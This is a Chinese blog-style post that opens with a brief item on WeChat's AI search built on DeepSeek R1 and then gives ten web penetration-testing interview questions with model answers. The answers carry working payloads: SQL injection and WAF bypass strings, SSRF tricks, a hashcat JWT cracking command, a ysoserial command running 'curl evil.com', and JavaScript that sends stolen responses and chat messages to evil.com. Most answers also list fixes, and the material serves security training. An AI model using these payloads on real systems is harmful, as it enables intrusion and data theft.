《应急响应》https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484262&idx=1&sn=8500d284ffa923638199071032877536&chksm=c0e47a3af793f32c1c20dcb55c28942b59cbae12ce7169c63d6229d66238fb39a8094a2c13a1&scene=21#wechat_redirect
《护网资料库》https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484307&idx=1&sn=9e8e24e703e877301d43fcef94e36d0e&chksm=c0e47acff793f3d9a868af859fae561999930ebbe01fcea8a1a5eb99fe84d54655c4e661be53&scene=21#wechat_redirect

微信搜索框突然多出一个神秘入口?近日网友发现部分用户的搜索页面底部悄悄出现了"AI搜索"按钮。点进去直接解锁DeepSeek R1大模型,实测发现它整合了全网网页和公众号内容,但不涉及私人聊天记录。

目前该功能还在灰度测试阶段,像开盲盒似的随机掉落体验资格。实测发现生成的答案支持一键转发朋友圈,但暂时不能连续对话,每次提问都要重新输入上下文。网友吐槽:"这和渣男聊完就跑有什么区别?"

从纸质书到搜索引擎再到AI问答,人类的搜索史正在经历第三次革命。现在遇到问题,00后第一反应是@AI,90后习惯性打开百度,70后可能还在翻《十万个为什么》。有网友神总结:"以前百度教你认爹,现在AI直接当你爹。"


13w字的面经

15w字的面试经验https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN


Web渗透面试题是每个安全面试人绕不过的,给大家整理了10个比较长问的面试题,快收藏把

题目1:绕过复合过滤的SQL注入

"目标网站存在搜索功能,测试发现参数?q=test存在SQL注入,但开发团队声称已过滤了单引号、空格和union关键字。如果后端数据库是MySQL 5.7,请描述完整的渗透测试思路和利用链。"

答案:

  1. 绕过单引号过滤:使用\转义符或宽字节注入(若存在GBK编码)

  2. 绕过空格:使用/**/%0a或括号包裹 ?q=1)(select(version()))--+

  3. 绕过UNION:使用基于错误的注入或布尔盲注:
    ?q=1'||extractvalue(1,concat(0x7e,(select@@version)))--+
    
  4. 提权思路:利用into outfile写Webshell需知晓绝对路径,或通过load_file读取系统文件(如/etc/passwd

  5. 防护方案:参数化查询 + 严格白名单过滤 + 启用PDO的ERRMODE_EXCEPTION


题目2:CSRF + CORS组合漏洞利用

"假设目标站点在/api/change-email存在CSRF漏洞,但CORS策略为Access-Control-Allow-Origin: *,如何构造攻击链窃取用户修改后的新邮箱?"

答案:

  1. 构造恶意页面发起跨域AJAX POST请求(withCredentials携带Cookie)

  2. 利用CORS响应头泄露数据:
    fetch('https://target.com/api/change-email', {
      method: 'POST',
      body: 'email=attacker@evil.com',
      credentials: 'include'
    }).then(res => res.text()).then(data => {
      navigator.sendBeacon('https://evil.com/log', data);
    });
    
  3. 绕过同源策略:由于CORS允许任意Origin,攻击者可直接读取响应内容

  4. 修复方案:CORS严格限制Origin + 添加CSRF Token + SameSite Cookie属性


题目3:JWT密钥爆破与算法切换

"某系统使用JWT身份验证,已知Header中alg字段为HS256,如何通过算法漏洞获取管理员权限?给出具体步骤。"

答案:

  1. 捕获JWT令牌,修改algnone(若服务端未验证算法类型)

  2. none被禁用,尝试修改为HS256并使用弱密钥(如secretpassword)爆破

  3. 使用工具(如hashcat)进行字典攻击:
    hashcat -m 16500 jwt.txt rockyou.txt
    
  4. 成功破解后伪造管理员声明(如"isAdmin": true

  5. 防护:强制验证alg类型 + 使用RS256非对称加密 + 密钥复杂度检测


题目4:二次密码验证逻辑绕过

"修改密码功能要求输入旧密码,但拦截到以下代码片段:

if ($_POST['new_pwd'] === $_POST['confirm_pwd']) {
    if (verify_old_pwd($_POST['old_pwd'])) {
        update_pwd($_POST['new_pwd']);
    }
}

请分析可能的漏洞和攻击方式。"

答案:

  1. 条件顺序漏洞:先检查新密码一致性,后验证旧密码

  2. 通过Race Condition攻击:在旧密码验证完成前快速发送多次请求

  3. 或利用时间差:若旧密码验证耗时较长,可能提前触发密码更新

  4. 修复:先完成旧密码验证再处理新密码 + 使用原子操作 + 验证流程加锁


题目5:SSRF绕过与协议利用

"某内部系统通过/proxy?url=xxx提供API测试功能,已确认存在SSRF但过滤了127.0.0.1localhost。如何利用此漏洞读取AWS元数据?"

答案:

  1. DNS重绑定:使用域名指向169.254.169.254(AWS元数据IP)

  2. 进制转换绕过http://2130706433(127.0.0.1的十进制)

  3. URL编码http://%6c%6f%63%61%6c%68%6f%73%74

  4. 利用非HTTP协议gopher://构造Redis命令写入SSH密钥

  5. 防护:禁用非必要协议 + 使用白名单域名校验 + 请求目标隔离


题目6:Java反序列化利用链构造

"在渗透测试中发现HTTP头部存在X-JSON: rO0...(Base64编码的序列化数据),推测是Java应用。请说明如何识别和利用反序列化漏洞。"

答案:

  1. 使用ysoserial生成payload:
    ysoserial CommonsCollections5 'curl evil.com' | base64
    
  2. 通过URLClassLoader加载远程jar:
    new URLClassLoader(new URL[]{new URL("http://attacker.com/exploit.jar")})
    
  3. 检测工具:Burp插件"Freddy"或反序列化漏洞扫描器

  4. 修复:升级依赖库 + 使用SafeObjectInputStream + JEP 290过滤


题目7:IDOR垂直越权+参数污染

"某CRM系统员工查看订单的API为GET /api/order/{orderId},如何通过参数污染获取其他部门的数据?"

答案:

  1. 修改Path参数:orderId=其他部门的ID

  2. 添加冗余参数:/api/order/123?departmentId=finance

  3. 利用JSON参数注入:
    POST /api/order/123
    {"department":"hr","_department":"sales"}
    
  4. 防护:基于角色的访问控制(RBAC) + 数据级权限校验 + 日志监控异常访问


题目8:WAF绕过技巧综合应用

"某SQL注入点被云WAF拦截,已知过滤了unionselect',如何构造绕过Payload?"

答案:

  1. 大小写混淆UnIoN SelEct

  2. 内联注释/*!50000union*/ select

  3. 换行符绕过u%0anion

  4. 双重URL编码%2553elect(对应%53electSelect

  5. Unicode编码SELECT\u0053\u0045\u004C...


题目9:API未授权访问与批量操作

"发现GET /api/users/<id>返回用户详情且无权限校验,如何快速获取全部用户数据?"

答案:

  1. ID枚举:编写脚本遍历id=1-1000

  2. GraphQL批量查询
    { "query":"query { users { id, email } }" }
    
  3. 利用分页参数/api/users?page=1&size=1000

  4. 防护:OAuth 2.0 Scope验证 + 速率限制 + 最小化数据返回


题目10:WebSocket认证协议漏洞

"某实时聊天系统使用WebSocket,握手阶段通过HTTP Cookie认证。如何通过中间人攻击劫持会话?"

答案:

  1. SSL剥离:强制降级WS为ws://明文传输

  2. Cookie篡改:拦截Upgrade: websocket请求,替换Cookie头

  3. 跨站WebSocket劫持(CSWSH)
    <script>
    let ws = new WebSocket('wss://target.com/chat');
    ws.onmessage = (e) => { fetch('https://evil.com?data='+btoa(e.data)) };
    </script>
    
  4. 防护:启用WSS + 验证Origin头 + 会话令牌绑定IP

 


Logo

欢迎加入DeepSeek 技术社区。在这里,你可以找到志同道合的朋友,共同探索AI技术的奥秘。

更多推荐